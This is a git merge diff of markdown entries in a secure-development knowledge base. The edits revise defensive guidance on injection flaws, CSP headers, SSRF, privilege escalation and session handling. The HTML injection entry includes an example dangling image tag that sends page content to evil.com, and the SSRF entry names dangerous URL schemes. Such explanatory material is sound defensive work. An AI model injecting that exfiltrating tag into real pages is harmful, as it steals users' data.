Merge branch 'master' into RiieCco-patch-25

skf/markdown/knowledge_base/100-knowledge_base--Log_viewing_software_code_injection--.md

@@ -5,7 +5,8 @@ Whenever user supplied input is being handled into log viewing software, this so
 ## Solution:
 
 You should consider these three controls when supplying information to the log viewing software:
-•	Design: If at all possible, avoid logging data that came from external inputs.
-•	Implementation: Ensure that all log entries are statically created, or if they must record external data that the input is vigorously white-list checked.
-•	Run time: Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.
+    •	Design: If at all possible, avoid logging data that came from external inputs.
+    •	Implementation: Ensure that all log entries are statically created, or if they must record external data that the input       is vigorously white-list checked.  
+    •	Run time: Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.
+
 Also verify that all non-printable symbols and field separators are properly encoded in log entries, to prevent log injection.

skf/markdown/knowledge_base/109-knowledge_base--Privilege_escalation--.md

@@ -1,7 +1,13 @@
 ## Description:
 
-In every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), then he can receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such functions as another user in order to verify if it is possible to access a function that should not be permitted by the users role/privilege (but might be permitted as another user).
+Attackers with low access rights wil always try to elevate their privileges in order to get more sensitive information/functionalities at their disposal. This can be achieved by for example:
+
+ - Functions that fail to check authorization
+ - Compromised functions/services that run with higher privileges
+ - Compromised user accounts with higher privileges
+
+These examples just scratch the surface of what attackers will try in order to elevate their privilages on your application/system. Therefore it is very important to take this reccomendation high into account.
 
 ## Solution:
 
-Checking if a user has enough authorization to execute certain request should always be enforced on the server-side. Also, you may apply the Principle of Least privilege, the principle of least privilege recommends that accounts have the least amount of privilege required to perform their business processes. This encompasses user rights, resource permissions such as CPU limits, memory, network, and file system permissions. For example, if a user only requires access to the network, read access to a database table, and the ability to write to a log, this describes all the permissions that should be granted. Under no circumstances should the user be granted administrative privileges. Also for making testing easier, you can create Unit-tests that verifies the user role permissions.
+Checking if a user has enough authorization to execute certain request should always be enforced on the server-side. Also, you may apply the Principle of Least privilege, the principle of least privilege recommends that accounts have the least amount of privilege required to perform their business processes. This encompasses user rights, resource permissions such as CPU limits, memory, network, and file system permissions. For example, if a user only requires access to the network, read access to a database table, and the ability to write to a log, this describes all the permissions that should be granted. Under no circumstances should the user be granted administrative privileges. 

skf/markdown/knowledge_base/11-knowledge_base--LDAP_injection--.md

@@ -4,4 +4,4 @@ LDAP (Lightweight Directory Access Protocol) Injection is an attack used to expl
 
 ## Solution:
 
-The best way to prevent LDAP injection is to use a positive validation scheme for ensuring that the data going into your queries does not contain any attacks. However, in some cases, it is necessary to include special characters in the input that is passed into an LDAP query. In this case, using escaping can prevent the LDAP interpreter from thinking those special characters are actually LDAP query.
+The best way to prevent LDAP injection is to use a positive validation scheme for ensuring that the data going into your queries does not contain any attacks. However, in some cases, it is necessary to include special characters in the input that is passed into an LDAP query. In this case, using escaping can prevent the LDAP interpreter from thinking those special characters are actually part of the LDAP query.

skf/markdown/knowledge_base/110-knowledge_base--Enforce_sequential_step_order--.md

@@ -12,7 +12,3 @@ the application to only process business logic flows in sequential step order, w
 steps being processed in realistic human time, and not process out of order, skipped steps,
 processed steps from another user, or too quickly submitted transactions.
 
-Recommended knowledge base items:
-
-- Aggregate user requests
-- CSRF injection

skf/markdown/knowledge_base/113-knowledge_base--Prevent_password_pre_filling--.md

@@ -20,7 +20,4 @@ compute, key derivation functions are ideally suited for password hashing use ca
 Examples of good ways to store passwords are with, BCRYPT, Blowfish or in some cases SCRYPT
 which is a little harder to implement correctly
 
-NOTE: Password pre-filling also happens when using the browsers password manager. For the login input
-fields the 'autocomplete=off' HTML attribute should be added to disable the password manager. The credentials
-could otherwise be stolen by XSS attacks whenever an attacker injects an HTML login form into the application
-which is pre-filled by the password manager.
+NOTE: Password pre-filling also happens when using the browsers password manager. However this process is different fromt he context described above since the description above implies an application that pre-filles credentials from the database/localstorage/etc.

skf/markdown/knowledge_base/122-knowledge_base--HTTPS_and_weakly_or_unencrypted_links--.md

@@ -8,6 +8,4 @@ vulnerable data towards other unencrypted/weak encrypted links in your applicati
 
 ## Solution:
 
-Verify that credentials are transported using a suitable encrypted link and that all pages/functions that
-require a user to enter credentials are done so using an encrypted link.
-
+Verify that credentials or other sensitive information is transported via TLS.

skf/markdown/knowledge_base/130-knowledge_base--Verbose_version_information--.md

@@ -6,4 +6,4 @@ information leaves the program through an output stream or logging function.
 
 ## Solution:
 
-Verify that the HTTP headers do not expose detailed version information of system components. For each different type of server, there are hardening guides dedicated especially for this type of data leaking.
+Verify that the HTTP headers do not expose detailed version information of system components. For each different type of server, there are hardening guides dedicated especially for this type of data leaking. The same applies for i.e any other leak of version information such as the version of your programming language or other services running to make your application function.

skf/markdown/knowledge_base/139-knowledge_base--Certificate_paths_revocation_information--.md

@@ -1,7 +1,7 @@
 ## Description:
 
 Whenever your certificate authority is not trusted anymore you should always be able to
-recall these certificates ASAP.
+recall these certificates ASAP to prevent man in the middle attacks on your applications users.
 
 ## Solution:
 

skf/markdown/knowledge_base/159-knowledge_base--HTML_injections--.md

@@ -16,12 +16,16 @@ header it still remains vulnerable to the attacks summarized above.
 ## Solution:
 
 1.Content spoofing Otherwise known as "Content Injection" or "Virtual Defacement" occurs whenever an attacker can inject code into your application. It is very important to sanitize and or encode user data before you display it on screen as HTML.
+
 2.Image tag injection occurs whenever an attacker injects a broken image tag with a non-terminated parameter like: "img src='http://evil.com?steal.php?value= Every content after value= parameter will now be stolen and send to evil.com by the attacker till the injection finds the next occurrence of a matching single quote.
 Again you should sanitize and encode the user input to prevent an image tag from being injected in your application. For whenever a user is permitted to submit an image on your application enforce and verify the application accepts valid non-broken tags only.
+
 3.The "form" tag can't be nested. The top-level occurrence of this element always takes precedence over subsequent appearances. Again you must avoid this type by properly encoding and sanitizing your user-inputs.
+
 4.Whenever an attacker injects a "base" tag into your application it can steal data because the tag specifies the base URL/target to where to process the data to.
 The solution to base jumping would be to use absolute paths in your application such as  action='/update_profile.php'
 instead of: action='update_profile.php'
+
 5/6 can both also easily be prevented simply be encoding or sanitizing your user-input submitted towards your application.
 Always validate your user input on a high level(server-side constraint). Whenever your application expects an integer you should validate and check whether the user submitted input really is what you expected it to be and otherwise, you terminate and log the request.
 

skf/markdown/knowledge_base/165-knowledge_base--Differential_analysis_attack--.md

@@ -8,4 +8,5 @@ attacker can now use this differential in response time to enumerate user accoun
 ## Solution:
 
 Verify that all authentication challenges, whether successful or failed, should respond
-in the same average response time.
+in the same average response time. This same methodology applies for other sensitive information that could
+potentially be recovered with differential attacks.

skf/markdown/knowledge_base/178-knowledge_base--Content_security_policy_headers--.md

@@ -9,33 +9,38 @@ A best practice for implementing CSP in your application would be to externalize
 JavaScript within the web pages.
 
 So this:
+    ```
     <script>
       function doSomething() {
         alert('Something!');
       }
 	</script>
 
 	<button onclick='doSomething();'>foobar!</button>
-
+```
 Must become this:
+```
 	<script src='doSomething.js'></script>
 	<button id='somethingToDo'>Let's foobar!</button>
-
+```
 The header for this code could look something like:
+    ```
     Content-Security-Policy: default-src'self'; object-src'none'; script-src'https://mycdn.com'
-
+    ```
 Since it is not entirely realistic to implement all JavaScript on external pages we can apply sort of a cross-site request forgery token to your inline JavaScript. This way the browser can again distinguish the difference between code which is part of the application against probable malicious injected code, in CSP this is called the 'nonce'. Of course, this method is also very applicable on your existing code and designs.
 Now, to use this nonce you have to supply your inline script tags with the nonce attribute. Firstly, it's important that the nonce changes for each response. Otherwise, the nonce would become guessable. So it should also contain a high entropy and should be hard to predict. Similar to the operation of the CSRF tokens, the nonce becomes impossible for the attacker to predict making it difficult to execute a successful XSS attack.
 
 
 Inline JavaScript example containing nonce:
+	```
 	<script nonce=sfsdf03nceI23wlsgle9h3sdd21>
     <!-- Your javscript code -->
     </script>
-
+    ```
 Matching header example:
+    ```
     Content-Security-Policy: script-src 'nonce-sfsdf03nceI23wlsgle9h3sdd21'
-
+    ```
 There is a whole lot more to learn about the CSP header for in-depth implementation in your application. This knowledge base item just scratches the surface and it would be highly recommended to gain more in-depth knowledge about this powerful header
 
 ## Very Important:

skf/markdown/knowledge_base/179-knowledge_base--Safe_javascript_jquery_methods--.md

@@ -16,23 +16,27 @@ JQUERY functions:
 .parse();
 
 Example:
+      ````
 	<script>
 	function myFunction() {
 		$( "p" ).text( "append user-input to paragrapgh safely" );
 	}
 	</script>
 
-Javscript functions:
-.innerText();   <- not supported by firefox
-.textContext(); <- not supported on I.E 8 and lower
-.createTextNode();
-.value();
 
+	Javscript functions:
+	.innerText();   <- not supported by firefox
+	.textContext(); <- not supported on I.E 8 and lower
+	.createTextNode();
+	.value();
+	```
+
 Example:
-
+	```
 	<script>
 	function myFunction() {
    		var t = document.createTextNode("append user-input to body safely");
     	document.body.appendChild(t);
 	}
 	</script>
+	```

skf/markdown/knowledge_base/18-knowledge_base--Accessible_non_parsed_dynamic_scripts--.md

@@ -5,6 +5,9 @@ approached by normal users, the operation of the application can be traced becau
 source code becomes available. This improves the possibility that the attacker discovers
 vulnerabilities.
 
+It is also highly recommended that old files are removed from the server and not beind stored
+or backuped as i.e "file.php.old". 
+
 ## Solution:
 
 Always add the different types of extensions to the web-server handler to parse.

skf/markdown/knowledge_base/198-knowledge_base--Strong_CRYPTO_through_CA_hierachy--.md

@@ -8,7 +8,10 @@ This can lead to Man-In-The-Middle (MITM) attacks and impact the 3 security pill
 
 Verify that only strong algorithms, ciphers, and protocols are used, through all the certificate hierarchy,
 including root and intermediary certificates of your selected certifying authority.
-Because this is always in flux we recommend using the SSLlabs free test:
+Because this is always in flux we
+
+recommend using the:
+SSLlabs free test https://www.ssllabs.com/ssltest/
+OWASP OSAFT : https://www.owasp.org/index.php/O-Saft
 
-https://www.ssllabs.com/ssltest/
 These TLS hardening recommendations can then be applied on all servers.

skf/markdown/knowledge_base/200-knowledge_base--Signed_application_components--.md

@@ -1,10 +1,10 @@
 ## Description:
 
-When an application don't use signed application components an attacker can easily modify parts
-of the application and load inject a backdoor into the application. Also the attacker could
-modify business logic in the application without the application notice. Signed application
+When an application don't use signed components an attacker can easily modify parts
+of the application and load inject a backdoors. Also the attacker could
+modify business logic in the application without notice. Signed application
 components can help harden your application and make it noticeable when an attacker tries to
-modify the code in the application.
+modify the code.
 
 ## Solution:
 

skf/markdown/knowledge_base/201-knowledge_base--Build_proccess_security_hardening--.md

@@ -1,6 +1,6 @@
 ## Description:
 
-Building you application should always be done on a server that you trust, you are in control and
+Building an application should always be done on a server that you trust, you are in control of and
 has the latest security patches and hardening configured. In some applications you can use security
 techniques and modules that can protect your application from known security issues. Always use these
 techniques when they are available.

skf/markdown/knowledge_base/207-knowledge_base--PII_protection--.md

@@ -1,6 +1,6 @@
 ## Description:
 
-There should be extra care taken into account when you are dealing with PII in your
+There should be extra care taken into account when you are dealing with PII(personal identifiable information) in your
 application. There are multiple laws in countries that demand proper protection by
 means of SSL/TLS for when the data is in transit and encrypted with pub priv key system
 when stored on the disk. This is needed to protect the user from identity theft and fraud.

skf/markdown/knowledge_base/21-knowledge_base--Include_X_XSS-Protection_header--.md

@@ -6,3 +6,6 @@ web browsers. It is usually enabled by default anyway, so the role of this heade
 ## Solution:
 
 These headers are also known as the: X-XSS-Protection: 1; mode=block and provide protection against XSS attacks when implemented in the application or web-server.
+
+##NOTE:
+This header only protects against some reflected XSS attacks. This is no substitute for normal escaping and input filtering and sanitization.

skf/markdown/knowledge_base/210-knowledge_base--All_time_sources_should_be_synchronized--.md

@@ -1,6 +1,6 @@
 ## Description:
 
-All time sources must be synchronized throughout for example, different API servers or 
+All time sources must be synchronized throughout. For example, different API servers or 
 microservices. to prevent logs to be tainted and become unusable for forensics.
 
 ## Solution:

skf/markdown/knowledge_base/262-knowledge_base--Server_side_request_forgery--.md

@@ -1,6 +1,6 @@
 ## Description:
 
-Server Side Request Forgery (CSRF) attack, where an attacker abuse the functionality of a
+Server Side Request Forgery (SSRF) attack, where an attacker abuse the functionality of a
 vulnerable web application to send crafter request which which read or update internal 
 resources. Attacker can attack an internal network or application behind the firewall with
 this attack which is normally not accessible through external network and even attack the
@@ -16,4 +16,4 @@ dict, gopher, expect etc which can even cause remote code execution.
 Disable unused URL schemas which are dangerous like expect://, file:///, ftp://, gopher://.
 Proper whitelisting of domain or IP address which you need to access to. Response received from 
 the internal server should not be shown to the attacker. Some services like Memcached, Redis, Elasticsearch and MongoDB do not require authentication by default, so we need to enable 
-authentication for these services.
+authentication for these services.

skf/markdown/knowledge_base/39-knowledge_base--Session_cookies_without_the_HttpOnly_flag--.md

@@ -4,4 +4,4 @@ An HttpOnly flag is an option that can be set when creating a cookie. This flag
 
 ## Solution:
 
-The HttpOnly flag should be set to disable malicious script access to the cookie values such as the session ID value. Also, disable unnecessary HTTP request methods because of the TRACE option. Misconfiguration of the HTTP request headers can lead to stealing the session cookie even though HttpOnly protection is in place.
+The HttpOnly flag should be set to disable malicious script access to the cookie values such as the session ID value. Also, disable unnecessary HTTP request methods such as the TRACE option. Misconfiguration of the HTTP request headers can lead to stealing the session cookie even though HttpOnly protection is in place.

skf/markdown/knowledge_base/57-knowledge_base--The_logout_functionality_should_revoke_the_complete_session--.md

@@ -1,7 +1,7 @@
 ## Description:
 
-When the logout functionality does not revoke the complete session, an attacker could
-impersonate a user when he has access to the session cookie.
+When the logout functionality does not revoke the complete session, an attacker could still
+impersonate a user when he has access to the session cookie even after the user is logged off the application.
 
 ## Solution: